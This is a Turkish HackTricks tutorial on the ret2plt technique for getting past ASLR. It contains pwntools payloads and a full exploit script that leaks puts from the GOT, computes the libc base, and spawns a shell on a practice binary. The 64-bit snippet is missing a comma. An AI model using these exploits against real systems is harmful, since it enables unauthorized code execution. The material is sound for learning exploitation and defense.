Ret2plt

Reading time: 3 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

Temel Bilgiler

Bu tekniğin amacı, ASLR'yi atlatabilmek için PLT'den bir fonksiyonun adresini sızdırmak olacaktır. Bunun nedeni, örneğin, libc'den puts fonksiyonunun adresini sızdırırsanız, libc'nin temel adresini hesaplayabilir ve system gibi diğer fonksiyonlara erişmek için ofsetleri hesaplayabilirsiniz.

Bu, (buradan) gibi bir pwntools yükü ile yapılabilir:

python
# 32-bit ret2plt
payload = flat(
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
)

# 64-bit
payload = flat(
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
)

Not edin ki puts (PLT'den alınan adres kullanılarak) GOT'daki puts adresi ile çağrılır. Bunun nedeni, puts GOT girişi yazdırdığında, bu girişin bellek içindeki puts adresini tam olarak içerecek olmasıdır.

Ayrıca, main adresinin istismarda nasıl kullanıldığını not edin, böylece puts çalışmasını bitirdiğinde, binary main'i tekrar çağırır, çıkmak yerine (bu nedenle sızdırılan adres geçerli olmaya devam eder).

caution

Bunun çalışması için binary PIE ile derlenmemiş olmalıdır veya PLT, GOT ve main adresini bilmek için PIE'yi atlatmak için bir sızıntı bulmuş olmalısınız. Aksi takdirde, önce PIE'yi atlatmanız gerekir.

Bu atlatmanın tam örneğini burada bulabilirsiniz. Bu, o örneğin son istismarıydı:

python
from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvline()

payload = flat(
'A' * 32,
elf.plt['puts'],
elf.sym['main'],
elf.got['puts']
)

p.sendline(payload)

puts_leak = u32(p.recv(4))
p.recvlines(2)

libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
libc.sym['exit'],
next(libc.search(b'/bin/sh\x00'))
)

p.sendline(payload)

p.interactive()

Diğer örnekler ve Referanslar

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin